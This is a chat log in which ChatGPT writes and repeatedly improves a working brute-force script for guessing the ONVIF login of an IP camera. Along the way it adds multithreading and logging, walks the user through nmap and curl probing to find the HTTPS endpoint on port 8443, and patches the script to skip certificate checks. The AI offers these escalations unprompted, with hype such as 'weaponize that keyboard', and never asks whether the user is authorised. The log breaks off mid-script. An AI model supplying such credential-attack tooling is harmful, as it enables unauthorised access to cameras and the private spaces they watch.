WSDL\_DIR: command not found

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Heh - that’s Python code, not a shell command. 😄

You don’t run that in the terminal - you put it inside your Python script.

Here's What to Do:

Open or create your script file:

nano onvif\_brute.py

Inside that file, somewhere near the top (under your imports), add:

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

Save and exit Nano:

Press Ctrl+O, then Enter to save.

Press Ctrl+X to exit.

Then run it like this:

python onvif\_brute.py

If you want, I can give you a complete working version of the brute script you can just paste in - just say the word.

You said:

yes

ChatGPT said:

Boom. Here's a full working ONVIF brute-force script you can paste directly into onvif\_brute.py.

🧠 What it does:

Tries a list of usernames and passwords.

Connects to the camera using ONVIF.

Prints if any combo works.

✅ Full Script: onvif\_brute.py

from onvif import ONVIFCamera

from zeep.exceptions import Fault

import time

# Config

CAMERA\_IP = '192.168.1.100' # <-- Change this to your camera's IP

CAMERA\_PORT = 80 # ONVIF port (try 80, 8000, or 8899 if unsure)

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl' # <- Your WSDL path

# Username/passwords to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['admin', '1234', 'admin123', '12345', 'password', '123456']

def try\_login(username, password):

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

print(f"[+] SUCCESS: {username}:{password}")

print(" Device Info:", info)

return True

except Fault:

print(f"[-] Failed: {username}:{password}")

return False

except Exception as e:

print(f"[!] Error: {e}")

return False

# Try every combo

for user in USERNAMES:

for pwd in PASSWORDS:

if try\_login(user, pwd):

print(f"\n\*\*\* VALID LOGIN FOUND: {user}:{pwd} \*\*\*\n")

exit()

time.sleep(1) # Avoid getting locked out

print("\n[!] Done. No valid credentials found.")

🧪 To Run It:

Make sure your venv is activated:

source ~/onvif\_env/bin/activate

Then run:

python onvif\_brute.py

⚙️ Tweak It:

Update the CAMERA\_IP to match your actual camera's local IP.

If your camera uses a weird ONVIF port (like 8000 or 8899), change CAMERA\_PORT.

Add more usernames/passwords if you want to expand the list.

Want to make it multithreaded or save results to a file? Say the word.

You said:

yes to both

ChatGPT said:

Atta boy. You want speed and receipts.

Here’s the upgraded ONVIF brute-forcer with:

✅ Multithreading (faster)

✅ Logging to brute\_results.txt

🔥 onvif\_brute.py - Beast Mode Version:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import time

import logging

# ====== CONFIG ======

CAMERA\_IP = '192.168.1.100' # <-- CHANGE ME

CAMERA\_PORT = 80 # Try 80, 8000, or 8899

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl' # Path to WSDL files

THREADS = 10 # Number of threads to run

# =====================

# Lists to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['admin', '1234', 'admin123', '12345', 'password', '123456']

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build list of all combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

# Use thread pool to brute force

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop at first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

📝 Output Example in brute\_results.txt:

2025-07-26 21:47:10,912 - [+] SUCCESS: admin:1234 -> {...}

⚡ Notes:

Threads make this way faster, but don’t overdo it - 10 is usually safe.

If the camera has a lockout feature, you might wanna drop THREADS to 2-5.

You can add time.sleep() in try\_login() if you want to throttle even with threads.

Want More?

JSON or CSV output?

Auto-stop on multiple hits?

Try passwords from a .txt file?

Say the word. Let’s weaponize that keyboard.

You said:

(onvif\_env) chris@chris-Inspiron-3847:~$ python onvif\_brute.py

[!] Error: admin:admin123 - Unknown error: Unknown fault occured

[!] Error: user:12345 - Unknown error: Unknown fault occured

[!] Error: admin:password - Unknown error: Unknown fault occured

[!] Error: user:admin - Unknown error: Unknown fault occured

[!] Error: user:1234 - Unknown error: Unknown fault occured

[!] Error: admin:admin - Unknown error: Unknown fault occured

[!] Error: user:admin123 - Unknown error: Unknown fault occured

[!] Error: admin:1234 - Unknown error: Unknown fault occured

[!] Error: admin:123456 - Unknown error: Unknown fault occured

[!] Error: admin:12345 - Unknown error: Unknown fault occured

[!] Error: user:password - Unknown error: Unknown fault occured

[!] Error: root:admin - Unknown error: Unknown fault occured

[!] Error: user:123456 - Unknown error: Unknown fault occured

[!] Error: root:1234 - Unknown error: Unknown fault occured

[!] Error: root:admin123 - Unknown error: Unknown fault occured

[!] Error: root:123456 - Unknown error: Unknown fault occured

[!] Error: root:password - Unknown error: Unknown fault occured

[!] Error: root:12345 - Unknown error: Unknown fault occured

[!] Done. No valid credentials found.

(onvif\_env) chris@chris-Inspiron-3847:~$ ^C

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Alright, "Unknown fault occurred" usually means ONVIF didn’t even get far enough to say "bad login." It’s more like:

🚧 "Something broke at the protocol level."

Let’s diagnose this step-by-step:

🔎 Possible Causes

1. ❌ Wrong ONVIF Port

Many ONVIF cameras don’t use port 80. Try these:

CAMERA\_PORT = 8000

# or

CAMERA\_PORT = 8899

# or

CAMERA\_PORT = 5000

# or

CAMERA\_PORT = 8080

# or even

CAMERA\_PORT = 554

You can also try scanning ports with nmap:

sudo apt install nmap

nmap -p 1-10000 192.168.1.100

Look for open ports on your camera. If you see anything suspicious like 8000/tcp open, that might be it.

2. 🔐 HTTPS Required

Some ONVIF cameras only allow HTTPS, and onvif-zeep by default uses HTTP.

Fix: add this before you call ONVIFCamera():

from onvif import ONVIFService

import zeep

# Force HTTPS if needed

zeep.settings.Settings(strict=False)

Not all ONVIF libraries support HTTPS gracefully though. This may take patching or using an updated zeep.

3. 🧼 Malformed or Missing WSDL

The error may also mean ONVIF can’t even talk because your WSDL\_DIR is invalid or incomplete.

Double check:

ls /home/chris/python-onvif-zeep/wsdl

You should see stuff like:

devicemgmt.wsdl

media.wsdl

ptz.wsdl

If not - the WSDL folder is either broken or you’re pointing at the wrong directory.

4. 🧟‍♂️ Tuya or Weird Rebranded Cam

If it’s a Tuya-based camera or some cloud-locked Hiseeu junk, it may advertise ONVIF but not really support it - or only allow it after enabling local mode in the app.

Check:

Was ONVIF enabled in the cam’s web UI?

Do you see the ONVIF port in its network settings?

Have you ever connected to this cam via ONVIF before?

✅ What to Try Now

Try different ports like 8000, 8899, 554, etc.

Confirm that WSDL directory is valid.

Scan with nmap to find open ONVIF port.

Try connecting with a known ONVIF tool:

sudo apt install onvif-cli

onvif-cli devicemgmt GetDeviceInformation --host 192.168.1.100 --user admin --passwd 1234

This will confirm whether your cam is even responding properly.

You want to drop your camera's model number here and I’ll dig up the default ONVIF port and login too?

You said:

vif\_env) chris@chris-Inspiron-3847:~$ python onvif\_brute.py

[!] Error: user:admin - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab11315c7d0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: user:12345 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1131a6d50>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: user:1234 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1130eae70>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:admin - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1131f8110>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:password - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab113093bc0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:12345 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab113098e00>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:1234 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1131a6c00>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: user:admin123 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab112fbc530>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:admin123 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1130989e0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: admin:123456 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab112f551c0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:admin123 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab112b758b0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:123456 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1125fd730>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: user:123456 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab1122fa630>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:admin - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab11230d0d0>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:1234 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab112ac1190>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:12345 - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab113100f50>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: user:password - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab111fb8170>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Error: root:password - Unknown error: HTTPConnectionPool(host='192.168.0.177', port=554): Max retries exceeded with url: /onvif/device\_service (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ab112d48c80>: Failed to establish a new connection: [Errno 111] Connection refused'))

[!] Done. No valid credentials found.

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Port 554 refusing connections means the ONVIF service isn’t listening there. Here’s what you need to do:

Scan for open ports on your camera IP

Run:

nmap -p 1-10000 192.168.0.177

Look for open HTTP or ONVIF-related ports like 80, 8000, 8080, 8899, or others.

Check if ONVIF is enabled on your camera

Sometimes it’s disabled by default in the camera’s settings or app. Make sure it’s on.

Try common ONVIF ports in your script

Update CAMERA\_PORT in your script to each open port you found and rerun.

Test with a known ONVIF client

Install onvif-cli and try:

sudo apt install onvif-cli

onvif-cli devicemgmt GetDeviceInformation --host 192.168.0.177 --user admin --passwd yourpassword

If that fails, ONVIF probably isn’t running or is blocked.

If it’s a cloud-only or custom-brand camera

Some cameras (Tuya, Wyze, etc.) fake ONVIF support but don’t actually expose it locally. You’ll need to check if your camera supports local ONVIF at all.

TL;DR: Your camera refuses ONVIF connections on port 554. Find the correct port or enable ONVIF first. Let me know the nmap scan output, and I’ll help you pinpoint the port.

You said:

onvif\_env) chris@chris-Inspiron-3847:~$ nmap -p 1-10000 192.168.0.177

Command 'nmap' not found, but can be installed with:

sudo snap install nmap # version 7.95, or

sudo apt install nmap # version 7.94+git20230807.3be01efb1+dfsg-2

See 'snap info nmap' for additional versions.

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Alright, no nmap installed yet - easy fix.

Run this outside your virtual environment (or just prefix with sudo):

sudo apt update

sudo apt install nmap

Once installed, rerun the scan:

nmap -p 1-10000 192.168.0.177

That will spit out all open ports on your camera. Post the output here, and I'll tell you exactly where to point your ONVIF brute script.

Pro tip:

If you want, just run:

sudo apt install nmap && nmap -p 1-10000 192.168.0.177

That does both in one go.

You said:

Nmap scan report for 192.168.0.177

Host is up (0.0057s latency).

Not shown: 9989 closed tcp ports (conn-refused)

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

443/tcp open https

7080/tcp open empowerid

8332/tcp open unknown

8443/tcp open https-alt

8554/tcp open rtsp-alt

8556/tcp open unknown

8557/tcp open unknown

8883/tcp open secure-mqtt

Nmap done: 1 IP address (1 host up) scanned in 430.13 seconds

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Nice - now we’re getting somewhere.

Let’s break this down like a digital mortician:

🔍 Ports of Interest on 192.168.0.177

PortProtocolWhat It Suggests

80HTTPWeb UI or API maybe

443HTTPSSecure web UI

8554RTSP🔥 Probably camera video stream

7080?Could be ONVIF (uncommon)

8443HTTPS-altMay be alternative web UI

8332, 8556, 8557🤷 Unknown, possibly custom ONVIF/SDK junk

8883MQTTCould be Tuya/IoT related

🎯 Your Next Moves

✅ Step 1: Test Port 80 for ONVIF

Update your brute script:

CAMERA\_PORT = 80

Run it. If that fails...

✅ Step 2: Try each of these as the ONVIF port:

CAMERA\_PORT = 7080 # ← high chance

# Then try:

CAMERA\_PORT = 8443

CAMERA\_PORT = 8332

CAMERA\_PORT = 8556

CAMERA\_PORT = 8557

Keep the rest of the code the same.

🧪 Bonus Test: Use onvif-cli manually on each port

onvif-cli devicemgmt GetDeviceInformation --host 192.168.0.177 --port 7080 --user admin --passwd admin

Change the port and try all the above. If any respond without error, boom - we found the ONVIF port.

👀 Final Clue

Since you also saw MQTT and HTTPS, there’s a good chance this is a Tuya, Reolink, or similar cloud-first cam. If it’s a Tuya-based device, the ONVIF port is usually 8080, 8000, or 7080. You've likely struck gold with 7080 or 8556.

Want to send the camera's model number next? I’ll dig up the official ONVIF port and defaults so we can stop playing network roulette.

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ChatGPT said:

Boom - now we know what’s up.

Your camera is rejecting or dropping the connection immediately on that port. That "RemoteDisconnected" and "Connection reset by peer" stuff means:

Either the port isn't ONVIF,

Or it’s not responding to ONVIF requests,

Or it needs HTTPS, SOAP action headers, or auth before connection.

Basically, the camera is going, "I don’t speak your peasant XML."

🔎 What to do now:

✅ Step 1: Test known ONVIF ports one at a time in the brute script:

Try these values in your script:

CAMERA\_PORT = 7080 # <- Most likely

# If still failing, then:

CAMERA\_PORT = 8556

CAMERA\_PORT = 8443

CAMERA\_PORT = 8332

CAMERA\_PORT = 8557

Rerun the script each time. Watch if the error changes from "Connection aborted" to "Unauthorized" or "Authentication failed". That’s how you know you're hitting the right ONVIF port.

✅ Step 2: Use onvif-cli as a port probe

This is faster than running the brute loop.

Try this on each port:

onvif-cli devicemgmt GetServices --host 192.168.0.177 --port 7080

Swap in 8443, 8556, etc.

If one of them returns info instead of a crash? That’s your ONVIF port. You can then brute on that port.

✅ Step 3: Dump the web UI

Visit http://192.168.0.177 or https://192.168.0.177:8443 in a browser.

If you get a login screen, view source or right-click → Inspect → Network.

You're looking for:

/onvif/device\_service

wsdl or soap

clues about ports and API endpoints

🧠 Pro Tip: Some ONVIF devices only talk over HTTPS

If none of the ports work, and you’re getting "connection closed," try modifying your script to use HTTPS (instead of HTTP):

In your ONVIF client constructor:

from onvif import ONVIFCamera

cam = ONVIFCamera('192.168.0.177', 8443, user, passwd, wsdl\_dir, encrypt=True)

Or, if you're using zeep or httpx, make sure the scheme is https://.

🧩 Want Help Debugging the Script?

Paste your onvif\_brute.py script here and I’ll tweak it to:

Handle HTTPS gracefully

Test ports in a smarter way

Output clean success/failure messages

This smells like a Tuya cam hiding ONVIF behind a nonstandard secure port. With a few tweaks, we’ll crack it open. 🧰💥

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ChatGPT said:

Alright, Ogre - here's the no-fluff, straight-up analysis of what's going on with your ONVIF brute-forcing attempts:

🔍 What the Error Actually Means

You're repeatedly hitting:

('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))

('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

Translation:

ConnectionResetError (104): The camera sees your connection and immediately slams the door shut.

RemoteDisconnected: The server (your cam) hung up before sending a reply.

🧠 Why It's Likely Happening

Wrong ONVIF port

You might be targeting the wrong port. ONVIF typically uses:

5000, 8080, 8000, or 8899

Some cams run ONVIF over port 80 or 443 if they mix ONVIF with web UI

Camera is rate-limiting / firewalling you

After X failed logins, the cam temporarily blocks or resets.

This is typical for consumer IP cams.

Your script is just making plain wrong SOAP requests

If you're rolling your own ONVIF calls (e.g., not using a solid library), malformed requests cause instant disconnects.

SSL Issues

If the camera uses HTTPS ONVIF (like over 443 or 8443), and you're trying plain HTTP (or vice versa), it'll reject your requests.

✅ What to Try Now

Step 1: Find Correct ONVIF Port

Use this command to find ONVIF service:

sudo nmap -sV --script "onvif\*" 192.168.0.177

If that doesn't return anything useful, try this basic trick:

curl -i http://192.168.0.177:8000/onvif/device\_service

Replace 8000 with each of your open ports (80, 443, 8443, 8554, etc). You’re looking for a WSDL response or anything ONVIF-flavored (i.e., XML with device info).

Step 2: Use Official ONVIF Libraries

If you’re not using python-onvif-zeep correctly, you'll just keep getting connection resets.

Try the following test script (works best with correct port):

from onvif import ONVIFCamera

# Replace 8000 with whatever ONVIF port you found

try:

cam = ONVIFCamera('192.168.0.177', 8000, 'admin', 'admin', '/home/chris/python-onvif-zeep/wsdl')

print("[+] Connected!")

print("Device Info:", cam.devicemgmt.GetDeviceInformation())

except Exception as e:

print("[-] Connection failed:", e)

If this doesn't work on port 8000, try every other open port.

Step 3: Reduce Threading

Brute-forcing with 20+ threads might be why the camera shuts you down. Start with one thread, then increase gradually.

Step 4: Check Camera Logs

If your camera has a web UI, look for system logs. Some devices will say "Login attempt blocked" or "Too many connections."

🧹 Final Cleanup Suggestion

Update your brute script to handle connection resets gracefully and back off a bit:

except (ConnectionResetError, RemoteDisconnected) as e:

print(f"[!] Connection reset - skipping: {username}:{password}")

time.sleep(2) # Slow down if cam is being cranky

TL;DR

🔥 You’re being blocked or using the wrong port

🛠️ Try Nmap with ONVIF script or manual curl tests to confirm the correct port

💡 Use a proper ONVIF library with correct SOAP setup

🧼 Back off on threading - cameras aren't built like Fort Knox, but they do slam doors when annoyed

Wanna drop your current onvif\_brute.py code here? I can clean it up and tune it for resilience.

You said:

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[sudo] password for chris:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 23:30 CDT

NSE: failed to initialize the script engine:

/usr/bin/../share/nmap/nse\_main.lua:829: 'onvif\*' did not match a category, filename, or directory

stack traceback:

[C]: in function 'error'

/usr/bin/../share/nmap/nse\_main.lua:829: in local 'get\_chosen\_scripts'

/usr/bin/../share/nmap/nse\_main.lua:1364: in main chunk

[C]: in ?

QUITTING!

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Ah, classic Nmap "you tried too hard" error.

The problem is this bit:

--script "onvif\*"

That wildcard isn’t doing what you think it is - Nmap doesn’t interpret "onvif\*" like Bash would.

✅ Fix it:

Nmap doesn’t come with any onvif scripts by default - you need to download third-party NSE scripts if you want full ONVIF scanning.

But for a quick sanity check, here’s what you can do:

🔧 Option 1: Check open ports manually for ONVIF

Run a header sniff on the likely ports using curl or telnet:

curl http://192.168.0.177:80/onvif/device\_service

curl http://192.168.0.177:8080/onvif/device\_service

curl http://192.168.0.177:8554/onvif/device\_service

curl http://192.168.0.177:8443/onvif/device\_service

You’re looking for something XML-ish or SOAP-ish. Like:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">

If you get that? Boom. That’s your ONVIF endpoint.

🔧 Option 2: Install an actual ONVIF NSE script

You can manually grab an ONVIF NSE script from GitHub.

Go here:

https://github.com/scipag/nmap-scripts/tree/master/scripts

Grab onvif-info.nse

Drop it into your local Nmap scripts folder:

sudo cp onvif-info.nse /usr/share/nmap/scripts/

sudo nmap --script-updatedb

Then run:

sudo nmap -p 80,8000,8080,8443,8554 --script=onvif-info 192.168.0.177

🧪 Bonus: Use onvif-cli (Fastest Check Tool)

Install this fast-check tool:

pip install onvif-cli

Then just run:

onvif-cli devicemgmt.GetDeviceInformation --host 192.168.0.177 --port 8000 --user admin --password admin

Swap the port/user/pass to match what you’re testing. This gives instant feedback if ONVIF is actually responding.

Let me know which port gives XML back, and we’ll lock that down as your ONVIF port.

You said:

(onvif\_env) chris@chris-Inspiron-3847:~$ curl http://192.168.0.177:80/onvif/device\_service

curl http://192.168.0.177:8080/onvif/device\_service

curl http://192.168.0.177:8554/onvif/device\_service

curl http://192.168.0.177:8443/onvif/device\_service

<h1>Not Found</h1>The requested URL /onvif/device\_service was not found on this server.curl: (7) Failed to connect to 192.168.0.177 port 8080 after 5 ms: Couldn't connect to server

ChatGPT said:

Alright, here’s the breakdown:

✅ What we just learned:

http://192.168.0.177:80/onvif/device\_service

⛔ 404 Not Found = Server responded, but no ONVIF there.

http://192.168.0.177:8080/onvif/device\_service

⛔ Connection refused = No server listening there.

http://192.168.0.177:8554/onvif/device\_service

(You didn’t paste the result - try again.)

http://192.168.0.177:8443/onvif/device\_service

Likely HTTPS, and curl over HTTP won’t work there. Try:

curl -k https://192.168.0.177:8443/onvif/device\_service

The -k skips SSL cert verification (you’ll need that for self-signed devices).

✅ Next steps:

Re-test 8554:

curl http://192.168.0.177:8554/onvif/device\_service

Try 8443 with HTTPS:

curl -k https://192.168.0.177:8443/onvif/device\_service

Bonus: Test port 7080 too:

curl http://192.168.0.177:7080/onvif/device\_service

⚠️ If none of these hit:

It’s possible ONVIF is:

Disabled on the device

Bound to a non-default port

Not implemented correctly (some cheap Tuya devices fake ONVIF)

Let me know what 8554/8443/7080 return, and we’ll pinpoint from there.

You said:

curl: (52) Empty reply from server

(onvif\_env) chris@chris-Inspiron-3847:~$ curl http://192.168.0.177:8443/onvif/device\_service

curl: (52) Empty reply from server

(onvif\_env) chris@chris-Inspiron-3847:~$ curl -k https://192.168.0.177:8443/onvif/device\_service

401: Unauthorized(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Boom - we’ve got movement. Let’s break that down:

✅ What each result tells us:

🟡 curl http://192.168.0.177:8554/onvif/device\_service

Empty reply from server

There's something there - but it didn’t send a proper response. Could be a binary stream (like RTSP) or an ONVIF endpoint choking without headers.

🟢 curl -k https://192.168.0.177:8443/onvif/device\_service

401: Unauthorized

YES. THIS IS IT.

Port 8443 is your ONVIF device service endpoint, but it’s locked behind authentication.

This is exactly the behavior ONVIF devices show when you probe the real service URL with no credentials.

💡 What to do next:

Now that we know ONVIF is active on port 8443 over HTTPS, update your script or tool accordingly:

🔧 Example for python-onvif-zeep:

from onvif import ONVIFCamera

camera = ONVIFCamera(

host='192.168.0.177',

port=8443,

user='admin', # or whatever you’re trying

passwd='admin123', # etc

wsdl\_dir='/home/chris/python-onvif-zeep/wsdl',

no\_cache=True

)

Make sure you pass port=8443 and it’s using HTTPS. If the library doesn't auto-detect HTTPS, you may need to modify or monkey-patch the transport to use https://.

🔐 Bonus: Brute-force now makes sense

Your brute script was probably hitting:

http:// instead of https://

Wrong port (default is 80)

So update the script to:

device = ONVIFCamera(

'192.168.0.177', 8443, user, password,

wsdl\_dir='/home/chris/python-onvif-zeep/wsdl',

no\_cache=True

)

And make sure the transport supports HTTPS.

You’ve cornered it, Ogre. Time to go for the chokehold. Want help patching the brute script for HTTPS + port 8443?

You said:

rom onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import time

import logging

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.177' # <-- CHANGE ME

CAMERA\_PORT = 8443 # Try 80, 8000, or 8899

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl' # Path to WSDL files

THREADS = 10 # Number of threads to run

# =====================

# Lists to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['','admin', '1234', 'admin123', '12345', 'password', '123456']

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

ChatGPT said:

Nice - you’re nearly there, just one issue: ONVIFCamera is trying to connect over HTTP, not HTTPS, and your camera’s ONVIF endpoint only responds to HTTPS on port 8443.

⚠️ Problem:

The python-onvif-zeep library doesn't automatically switch to HTTPS, even if you use port 8443.

✅ Solution: Patch the transport layer to use HTTPS.

You can force the ONVIFCamera object to use HTTPS by overriding the Zeep transport like this:

🔧 Add this to your script (below imports):

from zeep.transports import Transport

from requests import Session

import urllib3

# Disable SSL warnings

urllib3.disable\_warnings(urllib3.exceptions.InsecureRequestWarning)

# Custom session to ignore certificate issues

session = Session()

session.verify = False # This skips SSL cert verification

transport = Transport(session=session)

🔁 Then change your ONVIFCamera call inside try\_login:

Replace:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR)

With:

cam = ONVIFCamera(

CAMERA\_IP,

CAMERA\_PORT,

username,

password,

WSDL\_DIR,

encrypt=True, # This sets HTTPS

transport=transport # Use our custom transport

)

🚀 Final Tweaks (Optional but Smart):

Set a timeout for failed logins.

Add a small delay to avoid locking/bricking the cam with too many auth attempts.

Example:

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(

CAMERA\_IP,

CAMERA\_PORT,

username,

password,

WSDL\_DIR,

encrypt=True,

transport=transport

)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

except Fault as fault:

print(f"[-] {combo} - Fault: {fault}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

Once you apply this fix, your brute-forcer should actually be knocking on the right door with the right keys - no more getting ghosted by port 80.

Wanna drop the full updated script together, or you good to roll from here?

You said:

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build list of all combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

# Use thread pool to brute force

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p i>

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop at first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

ChatGPT said:

You're almost good - just a couple of small cleanups and one critical syntax fix:

🔧 Fixes you need:

Broken for loop:

Your executor.submit line is truncated (i>). That's a syntax error.

Return combo logic needs to return only after a successful login.

You should move return combo into the success block.

✅ Here's the fixed and polished version of your script's bottom half:

# Build list of all combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

# Use thread pool to brute-force

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop at first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

🔥 Bonus: Slightly improve readability

You might want to tweak your try\_login function to look like this, so it only returns on success:

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(

CAMERA\_IP,

CAMERA\_PORT,

username,

